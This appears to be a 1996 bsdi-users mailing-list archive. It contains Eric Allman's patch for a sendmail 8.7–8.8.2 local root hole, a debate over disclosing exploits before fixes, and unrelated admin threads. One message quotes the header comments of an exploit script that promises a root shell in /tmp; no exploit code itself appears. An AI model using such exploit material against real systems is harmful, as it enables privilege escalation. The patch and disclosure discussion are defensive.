22:20:28 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id WAA01963 for bsdi-users-outgoing; Sun, 17 Nov 1996 22:15:48 -0500 (EST) Message-Id: <2.2.32.19961118022508.006ba55c@rockisland.com> X-Sender: mikeg@rockisland.com X-Mailer: Windows Eudora Pro Version 2.2 (32) Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Precedence: bulk From: Mike Greene Sender: owner-bsdi-users@lists.gateway.com To: bsdi-users@BSDI.COM Subject: patch from Eric Allman for sendmail exploit Date: Sun, 17 Nov 1996 18:25:08 -0800 Hello, This was sent to the sendmail list tonight, ************************************************************* Message-Id: <199611170200.SAA13681@knecht.Sendmail.ORG> From: Eric Allman X-URL: http://WWW.InReference.COM/~eric cc: sendmail-bugs@sendmail.org Subject: Re: Security problem in 8.7.x and 8.8.x Date: Sat, 16 Nov 1996 18:00:33 -0800 ------- main.c ------- *** - Wed Dec 31 16:00:00 1969 --- main.c Sat Nov 16 07:07:17 1996 *************** *** 493,507 **** { case MD_DAEMON: case MD_FGDAEMON: ! # ifdef DAEMON ! if (RealUid != 0) ! { ! usrerr("Permission denied"); ! exit(EX_USAGE); ! } ! vendor_daemon_setup(CurEnv); ! /* fall through ... */ ! # else usrerr("Daemon mode not implemented"); ExitStat = EX_USAGE; break; --- 493,499 ---- { case MD_DAEMON: case MD_FGDAEMON: ! # ifndef DAEMON usrerr("Daemon mode not implemented"); ExitStat = EX_USAGE; break; *************** *** 899,904 **** --- 891,904 ---- /* fall through ... */ case MD_DAEMON: + /* check for permissions */ + if (RealUid != 0) + { + usrerr("Permission denied"); + exit(EX_USAGE); + } + vendor_daemon_setup(CurEnv); + /* remove things that don't make sense in daemon mode */ FullName = NULL; GrabTo = FALSE; *************** *** 1932,1937 **** --- 1932,1946 ---- syslog(LOG_INFO, "restarting %s on signal", SaveArgv[0]); #endif releasesignal(SIGHUP); + if (setuid(RealUid) < 0 || setgid(RealGid) < 0) + { + #ifdef LOG + if (LogLevel > 0) + syslog(LOG_ALERT, "could not set[ug]id(%d, %d): %m", + RealUid, RealGid); + #endif + exit(EX_OSERR); + } execv(SaveArgv[0], (ARGV_T) SaveArgv); #ifdef LOG if (LogLevel > 0) - Mike ____________________________________________________ Mike Greene (mikeg@rockisland.com) / Internic (MG42) Rock Island Internet / Office Ph. 360.378.5884 From VM Mon Nov 18 23:28:49 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["857" "Sun" "17" "November" "1996" "23:03:10" "-0500" "Henry Spencer" "henry@zoo.toronto.edu" nil "18" "Re: Exploit for sendmail smtpd bug (ver. 8.7-8.8.2) " "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id XAA19014 for ; Sun, 17 Nov 1996 23:06:34 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id XAA02058 for bsdi-users-outgoing; Sun, 17 Nov 1996 23:04:14 -0500 (EST) In-Reply-To: <199611171930.OAA03624@jparnas.cybercom.net> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Precedence: bulk From: Henry Spencer Sender: owner-bsdi-users@lists.gateway.com To: "Jacob M. Parnas" cc: David Newall , bsdi-users Subject: Re: Exploit for sendmail smtpd bug (ver. 8.7-8.8.2) Date: Sun, 17 Nov 1996 23:03:10 -0500 (EST) > >...this is a popular myth -- none of the holes that the Worm > >exploited was particularly well known, even within the development > >community. > > Wasn't one of its techniques to do a quick search of the the password file > for commonly used passwords? I thought this was a commonly known problem... Not only was it commonly known, it was commonly dealt with -- this hardly qualifies as something that was known but under-publicized, which was the original point at issue. The Worm's use of this technique was more or less incidental, and I don't think the Worm really had a lot to do with the growing movement toward tighter password security; password cracking was already a common problem. Henry Spencer henry@zoo.toronto.edu From VM Mon Nov 18 23:28:49 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["727" "Mon" "18" "November" "1996" "15:10:03" "+1100" "Dave Horsfall" "dave@fgh.oz.au" nil "22" "Re: Exploit for sendmail smtpd bug (ver. 8.7-8.8.2) " "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id XAA19019 for ; Sun, 17 Nov 1996 23:08:14 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id XAA02078 for bsdi-users-outgoing; Sun, 17 Nov 1996 23:11:39 -0500 (EST) In-Reply-To: <199611162135.NAA07654@threadway.teeny.org> Message-Id: X-Witty-Saying: "Klein Bottle - open other end" X-Disclaimer: "Me, speak for us?" Mime-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Precedence: bulk From: Dave Horsfall Sender: owner-bsdi-users@lists.gateway.com To: BSDi Users Subject: Re: Exploit for sendmail smtpd bug (ver. 8.7-8.8.2) Date: Mon, 18 Nov 1996 15:10:03 +1100 (EST) On Sat, 16 Nov 1996, Jason Downs wrote: > The intelligence of posting the exploit without posting the fix is very > questionable. Like you just did? > >#/bin/sh > ># > ># > ># Hi ! > ># This is exploit for sendmail smtpd bug > ># (ver. 8.7-8.8.2 for FreeBSD, Linux and may be other platforms). > ># This shell script does a root shell in /tmp directory. > ># If you have any problems with it, drop me a letter. > ># Have fun ! -- Dave Horsfall VK2KFU dave@fgh.oz.au Ph: +61 2 9957-4224 Fx: +61 2 9922-5286 FGH Decision Support Systems P/L, 77 Pacific Hwy, Nth. Sydney, 2060, Australia From VM Mon Nov 18 23:28:56 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["982" "Mon" "18" "November" "1996" "16:30:34" "+1030" "David Newall" "davidn@rebel.net.au" nil "28" "Re: Exploit for sendmail smtpd bug (ver. 8.7-8.8.2)" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id BAA22246 for ; Mon, 18 Nov 1996 01:04:17 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id BAA02422 for bsdi-users-outgoing; Mon, 18 Nov 1996 01:01:20 -0500 (EST) Message-Id: <199611180600.QAA21424@rebel.net.au> In-Reply-To: from "Craig Brozefsky" at Nov 17, 96 01:38:13 pm Content-Type: text Precedence: bulk From: David Newall Sender: owner-bsdi-users@lists.gateway.com To: cosmo@ebs.net (Craig Brozefsky) Cc: bsdi-users@BSDI.COM (bsdi-users) Subject: Re: Exploit for sendmail smtpd bug (ver. 8.7-8.8.2) Date: Mon, 18 Nov 1996 16:30:34 +1030 (CST) On Sat, 16 Nov 1996, Jason Downs wrote: > The fix for this particular exploit is trivial and small. It should have > been posted at the same time, or the exploit should not have been posted Isn't it three different patches to solve this problem that we've seen so far? Just which patch do you expect everybody to trust? Craig Brozefsky wrote: >> at all. Doing otherwise is silly, and opens up all those machines whose >> owners can not fix it themselves. > No, they were already open. It told everyone else who didn't already > know that these machines were now open. Correct. Or more to the point, it told people, "beware because *your* machine is wide open." > > makes one wonder about actual motives. > Their actual motives? Maybe make sendmail and Eric look bad and get their > names all over the place? This is unkind and uncalled for. BTW if you really feel this way, why would you run sendmail? [Standard disclaimer: These are my private opinions] From VM Mon Nov 18 23:28:56 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["1592" "Mon" "18" "November" "1996" "01:13:02" "-0500" "Jacob M. Parnas" "jparnas@jparnas.cybercom.net" nil "44" "Re: Exploit for sendmail smtpd bug (ver. 8.7-8.8.2) " "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id BAA22251 for ; Mon, 18 Nov 1996 01:11:09 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id BAA02467 for bsdi-users-outgoing; Mon, 18 Nov 1996 01:13:25 -0500 (EST) Message-Id: <199611180613.BAA05305@jparnas.cybercom.net> X-Authentication-Warning: jparnas.cybercom.net: Host localhost.cybercom.net didn't use HELO protocol X-External-Networks: yes In-reply-to: Your message of Sun, 17 Nov 1996 21:29:54 -0400. <199611180225.VAA17632@izzy4.izzy.net> Precedence: bulk From: "Jacob M. Parnas" Sender: owner-bsdi-users@lists.gateway.com To: "Dan Reish" cc: bsdi-users@BSDI.COM, Evan Champion Subject: Re: Exploit for sendmail smtpd bug (ver. 8.7-8.8.2) Date: Mon, 18 Nov 1996 01:13:02 -0500 Hi Dan, My main point was that morris's worm did use known obvious / not-clever things. It seemed like someone might have misunderstood it earlier to be just unknown bugs. Jacob ---- In message <199611180225.VAA17632@izzy4.izzy.net>you write: >On 17 Nov 96 at 16:11, Evan Champion wrote: > >[...] > >> In some ways I almost think BSD/OS should ship with a password file >> cracker that could run, say, once per month and generate e-mails for >> any passwords that it cracked. One of the places I worked at did >> that; if they cracked your password, your manager got a nastygram >> from security strongly suggesting that it be changed immediately. > >A far better method is to prevent users from choosing bad passwords >in the first place by replacing 'passwd' with something which does a >dictionary lookup (and applies a few other rules) with the plaintext >password. _Programming Perl_ comes with such a program, albeit with >a few bugs, a few Perl 4.0-isms, and poor support for password >shadowing. > >Unfortunately, the program did not include a distribution policy. If >it did, I'd post a fixed version for BSD/OS 2.1. Nevertheless, it >isn't too hard to convert. > >-- >Dan > ------------------------------------------------------------------------------ | Jacob M. Parnas | | IBM Thomas J. Watson Research Ctr. | | Internet: jparnas@jparnas.cybercom.net | ------------------------------------------------------------------------------ From VM Mon Nov 18 23:28:57 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["1069" "Mon" "18" "November" "1996" "01:16:33" "-0500" "Jacob M. Parnas" "jparnas@jparnas.cybercom.net" nil "24" "Re: Exploit for sendmail smtpd bug (ver. 8.7-8.8.2) " "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id BAA22519 for ; Mon, 18 Nov 1996 01:13:07 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id BAA02481 for bsdi-users-outgoing; Mon, 18 Nov 1996 01:17:03 -0500 (EST) Message-Id: <199611180616.BAA05328@jparnas.cybercom.net> X-Authentication-Warning: jparnas.cybercom.net: Host localhost.cybercom.net didn't use HELO protocol X-External-Networks: yes In-reply-to: Your message of Sun, 17 Nov 1996 23:03:10 EST. Precedence: bulk From: "Jacob M. Parnas" Sender: owner-bsdi-users@lists.gateway.com To: Henry Spencer cc: David Newall , bsdi-users Subject: Re: Exploit for sendmail smtpd bug (ver. 8.7-8.8.2) Date: Mon, 18 Nov 1996 01:16:33 -0500 In message you write: >> >...this is a popular myth -- none of the holes that the Worm >> >exploited was particularly well known, even within the development >> >community. >> >> Wasn't one of its techniques to do a quick search of the the password file >> for commonly used passwords? I thought this was a commonly known problem... > >Not only was it commonly known, it was commonly dealt with -- this hardly >qualifies as something that was known but under-publicized, which was the >original point at issue. The Worm's use of this technique was more or >less incidental, and I don't think the Worm really had a lot to do with >the growing movement toward tighter password security; password cracking >was already a common problem. > > Henry Spencer > henry@zoo.toronto.edu Oh I see... you're saying that what followed was a popular myth, not what preceeded it. Sorry for the confusion. Jacob From VM Mon Nov 18 23:29:03 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["1237" "Mon" "18" "November" "1996" "19:21:41" "+1030" "Stavros Patiniotis" "stavros@bang.esc.net.au" nil "21" "Re: Modems Not Echoing" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id DAA28673 for ; Mon, 18 Nov 1996 03:55:12 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id DAA04262 for bsdi-users-outgoing; Mon, 18 Nov 1996 03:52:10 -0500 (EST) In-Reply-To: <199611170156.RAA18969@chiba.netxn.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Precedence: bulk From: Stavros Patiniotis Sender: owner-bsdi-users@lists.gateway.com To: Chris McGlasson cc: bsdi-users@BSDI.COM Subject: Re: Modems Not Echoing Date: Mon, 18 Nov 1996 19:21:41 +1030 (CST) Chris, > Hello all. I am having problems with getting my modems to echo back during configuration. I have just recently downloaded and compiled kermit to use with configuring my modems. I have done this on two (almost) iden seems to be working fine on the first machine, but the second machine is not echoing back during set up. > > I have digi 16/em digiboards on both pc's and both are confgured the same. What I need to know is , is there a certain area I need to check to make sure the echo command is set. What is weird is, I can actually program the modem to the settings I want, and dial out with the modem. But when I dialin I get nothing and I think it has something to do with the echoing problem. If you are talking about modem configuration then "ate1" turns echo on, on the modem. Regards, Stavros Patiniotis ------------------------------------------------------------------------------ -System Administrator / Network Manager Escape.Net - - 465b South Rd - -email: stavros@esc.net.au Keswick SA 5035 - -URL: http://www.esc.net.au Ph 82932526 Fax 82932949- ------------------------------------------------------------------------------ From VM Mon Nov 18 23:29:04 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["549" "Mon" "18" "November" "1996" "10:06:46" "+0100" "Jos Backus" "jos@oce.nl" nil "17" "Re: Exploit for sendmail smtpd bug (ver. 8.7-8.8.2) " "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id EAA28944 for ; Mon, 18 Nov 1996 04:05:40 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id EAA04291 for bsdi-users-outgoing; Mon, 18 Nov 1996 04:06:36 -0500 (EST) >Return-Path: In-Reply-To: Your message of Sun, 17 Nov 1996 23:07:09 +0200. Message-Id: <11849.848308006@oce.nl> Content-Type: text Precedence: bulk From: Jos Backus Sender: owner-bsdi-users@lists.gateway.com To: bsdi-users@BSDI.COM Subject: Re: Exploit for sendmail smtpd bug (ver. 8.7-8.8.2) Date: Mon, 18 Nov 1996 10:06:46 +0100 In message Konstantin Barinov wrote: >Result: forget about your sendmail of any version. Good advice. Install qmail instead. http://www.qmail.org Groetjes, Jos -- Jos Backus _/ _/_/_/ R-IS/SNB _/ _/ _/ Oce-Nederland B.V. _/ _/_/_/ Venlo, The Netherlands _/ _/ _/ _/ jos@oce.nl _/_/ _/_/_/ #include From VM Mon Nov 18 23:29:16 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["417" "Mon" "18" "November" "1996" "13:25:30" "+0100" "bobie@grendel.sylaba.poznan.pl" "bobie@grendel.sylaba.poznan.pl" nil "17" "Network backup consideration" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id HAA04471 for ; Mon, 18 Nov 1996 07:31:45 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id HAA04493 for bsdi-users-outgoing; Mon, 18 Nov 1996 07:25:53 -0500 (EST) Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Precedence: bulk From: MP Sender: owner-bsdi-users@lists.gateway.com To: bsdi-users@BSDI.COM Subject: Network backup consideration Date: Mon, 18 Nov 1996 13:25:30 +0100 (MET) I'm running BSDI 2.1 on Pentium 133/32MB RAM/2 GB SCSI HDD The second PC is Windows NT 3.51 Workstation. It has HP SureStore Tape 6000 streamer for backup purposes of course. We want to backup both machines on one tape. I need of course an incremental backup on my BSD machine and backup on Win NT. I'd like to ask for help someone with similiar problems. Any ideas apreciated Maciej Przybecki SYLABA Internet From VM Mon Nov 18 23:29:17 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["810" "Mon" "18" "November" "1996" "12:39:26" "+0000" "Neil J. McRae" "neil@domino.org" nil "24" "Re: Dual Homing w/BSDI or 25xx? " "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id HAA04743 for ; Mon, 18 Nov 1996 07:42:15 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id HAA04543 for bsdi-users-outgoing; Mon, 18 Nov 1996 07:43:51 -0500 (EST) Message-Id: <199611181239.MAA18826@genesis.domino.org> X-Authentication-Warning: genesis.domino.org: Host neil@localhost [127.0.0.1] didn't use HELO protocol In-reply-to: Your message of "Fri, 15 Nov 1996 15:56:26 PST." Reply-To: "Neil J. McRae" Precedence: bulk From: "Neil J. McRae" Sender: owner-bsdi-users@lists.gateway.com To: Armando Escalante cc: bsdi-users@BSDI.COM, neil@domino.org Subject: Re: Dual Homing w/BSDI or 25xx? Date: Mon, 18 Nov 1996 12:39:26 +0000 On Fri, 15 Nov 1996 15:56:26 -0800 (PST) Armando Escalante wrote: > > I'm going add a new line to my site, would anyone recommend the best way > to go? > I have a cisco 2514 but know that a bsdi box with T1 boards also > works as a router. Using GateD? > > Can I use the 2514 to do dual homing? Should I use it? Should I use BSDI > instead? What would cost less and be easier to configure? > > Where can I find out? If your peers are in the same AS then you can probably do it with the 2514, If not then gated and a RISCOM N2 card is your best bet. Neil. -- Neil J. McRae. Alive and Kicking. Domino: In the glow of the night. neil@DOMINO.ORG NetBSD/sparc: 100% SpF (Solaris protection Factor) Free the daemon in your computer! From VM Mon Nov 18 23:29:19 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["1133" "Mon" "18" "November" "1996" "08:10:11" "-0500" "Ralph Huntington" "bsdi@mohawk.net" nil "29" "Re: Exploit for sendmail smtpd bug (ver. 8.7-8.8.2) " "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id IAA05554 for ; Mon, 18 Nov 1996 08:14:38 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id IAA04582 for bsdi-users-outgoing; Mon, 18 Nov 1996 08:10:24 -0500 (EST) In-Reply-To: <199611171920.OAA03593@jparnas.cybercom.net> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Precedence: bulk From: Ralph Huntington Sender: owner-bsdi-users@lists.gateway.com To: "Jacob M. Parnas" cc: bsdi-users@BSDI.COM Subject: Re: Exploit for sendmail smtpd bug (ver. 8.7-8.8.2) Date: Mon, 18 Nov 1996 08:10:11 -0500 (EST) > This is another example of someone questioning a very nice person's helpful > message, warning people like me not aware of the problem, and ... ... then having his/her intelligence called into question. For what? I agree: poor manners. Personally, I'm not afraid to post, but I can see where some people, particularly those newer to unix and bsd/os, might really hesitate rather than chance being made to look foolish (or worse) by a self-appointed expert. Even I (with a *few* years of experience) wonder sometimes if I will be excoriated for some boneheaded question. There is no excuse for rudeness and there is no defense for being unkind. A moderated list might make for a more prefessional atmosphere, but would the newbies who most need the help be as likely to find it? - Ralph p.s. Perhaps the recent sendmail exploit was posted here (without the then-unknown fix) with the intent that maybe someone on this list could quickly come up with a fix. After all, if you can't post something like that to a list like this (where the good guys hang out, right?) then who are we kidding? - rh From VM Mon Nov 18 23:29:20 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["185" "Mon" "18" "November" "1996" "08:23:12" "-0500" "Ralph Huntington" "bsdi@mohawk.net" nil "9" "Re: Exploit for sendmail smtpd bug (ver. 8.7-8.8.2) " "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id IAA05843 for ; Mon, 18 Nov 1996 08:23:37 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id IAA04602 for bsdi-users-outgoing; Mon, 18 Nov 1996 08:23:31 -0500 (EST) In-Reply-To: <199611180003.QAA01126@threadway.teeny.org> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Precedence: bulk From: Ralph Huntington Sender: owner-bsdi-users@lists.gateway.com To: Jason Downs cc: bsdi-users Subject: Re: Exploit for sendmail smtpd bug (ver. 8.7-8.8.2) Date: Mon, 18 Nov 1996 08:23:12 -0500 (EST) > I don't think anyone really has to _try_ to make Sendmail or Eric Allman look > bad. This type of gratuitously unkind statement has no place in a professional discussion. - rh From VM Mon Nov 18 23:29:24 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["734" "Mon" "18" "November" "1996" "05:48:15" "-0800" "Tom Glover" "tomg@boiled.egg.com" nil "25" "Re: Exploit for sendmail smtpd bug (ver. 8.7-8.8.2) " "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id IAA06667 for ; Mon, 18 Nov 1996 08:53:59 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id IAA04631 for bsdi-users-outgoing; Mon, 18 Nov 1996 08:47:27 -0500 (EST) In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Precedence: bulk From: Tom Glover Sender: owner-bsdi-users@lists.gateway.com To: Ralph Huntington cc: Jason Downs , bsdi-users Subject: Re: Exploit for sendmail smtpd bug (ver. 8.7-8.8.2) Date: Mon, 18 Nov 1996 05:48:15 -0800 (PST) On Mon, 18 Nov 1996, Ralph Huntington wrote: > > I don't think anyone really has to _try_ to make Sendmail or Eric Allman look > > bad. > > This type of gratuitously unkind statement > has no place in a professional discussion. > > - rh > Agreed. Especially since not only is it untrue but very few of us can ever, or will ever, make as significant a contribution to the Internet as Eric Allman has. -- Regards, Tom __________________________________________________________________________ | "The Egg Domain" | "Diplomacy is the art of saying "Good doggie" | | tomg@boiled.egg.com | while searching for a big rock. | | http://www.egg.com/ | | From VM Mon Nov 18 23:29:25 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["1002" "Mon" "18" "November" "1996" "08:48:58" "-0500" "Douglas Sand" "dsand@cyberzone-inc.com" nil "35" "Re: Network backup consideration" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id IAA06676 for ; Mon, 18 Nov 1996 08:58:59 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id IAA04648 for bsdi-users-outgoing; Mon, 18 Nov 1996 08:52:33 -0500 (EST) Message-Id: <1.5.4.32.19961118134858.006a46b8@main.cyberzone-inc.com> X-Sender: dsand@main.cyberzone-inc.com X-Mailer: Windows Eudora Light Version 1.5.4 (32) Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Precedence: bulk From: Douglas Sand Sender: owner-bsdi-users@lists.gateway.com To: MP Cc: bsdi-users@BSDI.COM Subject: Re: Network backup consideration Date: Mon, 18 Nov 1996 08:48:58 -0500 This I am sure is NOT the only solution, but one I know will work. There is a program out there called samba (for UNIX). I have not had a chance to install it yet, but this is how it works (from what I understand): You install samba which will allow you to map the UNIX to any drive letter you like on either a lan connection or a dialup connection. Once you do that, you just back up on your NT machine, and pick up whatever drive you created...sounds simple enough. Please let me know if this worked for you. Doug At 01:25 PM 11/18/96 +0100, you wrote: > >I'm running BSDI 2.1 on Pentium 133/32MB RAM/2 GB SCSI HDD > >The second PC is Windows NT 3.51 Workstation. It has HP SureStore Tape 6000 >streamer for backup purposes of course. > >We want to backup both machines on one tape. >I need of course an incremental backup on my BSD machine >and backup on Win NT. > >I'd like to ask for help someone with similiar problems. > >Any ideas apreciated > >Maciej Przybecki >SYLABA Internet > > From VM Mon Nov 18 23:29:27 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["1286" "Mon" "18" "November" "1996" "07:48:31" "-0600" "Craig Brozefsky" "cosmo@ebs.net" nil "35" "Re: Exploit for sendmail smtpd bug (ver. 8.7-8.8.2)" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id JAA07225 for ; Mon, 18 Nov 1996 09:14:22 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id JAA04692 for bsdi-users-outgoing; Mon, 18 Nov 1996 09:12:52 -0500 (EST) In-Reply-To: <199611180600.QAA21424@rebel.net.au> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Precedence: bulk From: Craig Brozefsky Sender: owner-bsdi-users@lists.gateway.com To: David Newall cc: bsdi-users Subject: Re: Exploit for sendmail smtpd bug (ver. 8.7-8.8.2) Date: Mon, 18 Nov 1996 07:48:31 -0600 (CST) On Mon, 18 Nov 1996, David Newall wrote: > On Sat, 16 Nov 1996, Jason Downs wrote: > > The fix for this particular exploit is trivial and small. It should have > > been posted at the same time, or the exploit should not have been posted > > Isn't it three different patches to solve this problem that we've seen so > far? Just which patch do you expect everybody to trust? Don't trust ANY of them if you don't feel like it, because sendmail 8.8.3 just came out and is available at ftp://ftp.sendmail.org/pub/sendmail > > > makes one wonder about actual motives. > > Their actual motives? Maybe make sendmail and Eric look bad and get their > > names all over the place? > > This is unkind and uncalled for. BTW if you really feel this way, why would > you run sendmail? > oh boohoo I don't like Bill Gates or NT, but I end up having to admin that. All kidding aside I appreciate Eric's contribution of sendmail to the Unix community, but i just wish that he would be a bit more careful sometimes. The first exploits I saw were from SOD, whose intenion I figured was just the usual sendmail bashing. Craig Brozefsky cosmo@ebs.net System Administrator vox: 312-226-1675 EBS.NET http://www.ebs.net *****available for limited time only in this dimension**** From VM Mon Nov 18 23:29:29 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["514" "Mon" "18" "November" "1996" "09:17:01" "-0500" "Chip Ach" "chip@harvard.net" nil "14" "Moderated List? (was Re: Exploit for sendmail smtpd bug (ver. 8.7-8.8.2)) " "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id JAA07511 for ; Mon, 18 Nov 1996 09:28:38 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id JAA04707 for bsdi-users-outgoing; Mon, 18 Nov 1996 09:22:21 -0500 (EST) In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Precedence: bulk From: Chip Ach Sender: owner-bsdi-users@lists.gateway.com To: Ralph Huntington cc: "Jacob M. Parnas" , bsdi-users@BSDI.COM Subject: Moderated List? (was Re: Exploit for sendmail smtpd bug (ver. 8.7-8.8.2)) Date: Mon, 18 Nov 1996 09:17:01 -0500 (EST) > A moderated list might make for a more prefessional atmosphere, but > would the newbies who most need the help be as likely to find it? A moderated list would be a nice thing, I think, to filter out a lot of the questions that get asked repeatedly. This would neccesitate a bsdi-users FAQ which would answer a lot of the questions that get asked frequently, especially if it included pointers to other unix FAQ's; a lot of bsdi-users traffic tends not to be particularly bsdi-specific. My two cents, -Chip From VM Mon Nov 18 23:29:31 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["675" "Mon" "18" "November" "1996" "09:46:07" "-0500" "Cat Okita" "cat@uunet.ca" nil "20" "Re: Network backup consideration" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id JAA08326 for ; Mon, 18 Nov 1996 09:54:35 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id JAA04748 for bsdi-users-outgoing; Mon, 18 Nov 1996 09:46:36 -0500 (EST) In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Precedence: bulk From: Cat Okita Sender: owner-bsdi-users@lists.gateway.com To: MP cc: bsdi-users@BSDI.COM Subject: Re: Network backup consideration Date: Mon, 18 Nov 1996 09:46:07 -0500 On Mon, 18 Nov 1996, MP wrote: > I'm running BSDI 2.1 on Pentium 133/32MB RAM/2 GB SCSI HDD > > The second PC is Windows NT 3.51 Workstation. It has HP SureStore Tape 6000 > streamer for backup purposes of course. > > We want to backup both machines on one tape. > I need of course an incremental backup on my BSD machine > and backup on Win NT. You could always use something like samba or NFS to mount your unix filesystems onto the NT box for backups. We avoided the issue by using commercial software for the majority of our UNIX/NT backups, and isolating the BSDi machines for backup - but that's tenable for us as we have a larger number of machines. Cat Okita From VM Mon Nov 18 23:29:32 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["1397" "Mon" "18" "November" "1996" "09:49:11" "-0500" "Sam Brown" "root@ns2.clever.net" nil "42" "Re: Dual Homing w/BSDI or 25xx?" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id JAA08331 for ; Mon, 18 Nov 1996 09:58:36 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id JAA04775 for bsdi-users-outgoing; Mon, 18 Nov 1996 09:52:43 -0500 (EST) In-Reply-To: <56o89a$o1s@news1.anet-dfw.com> 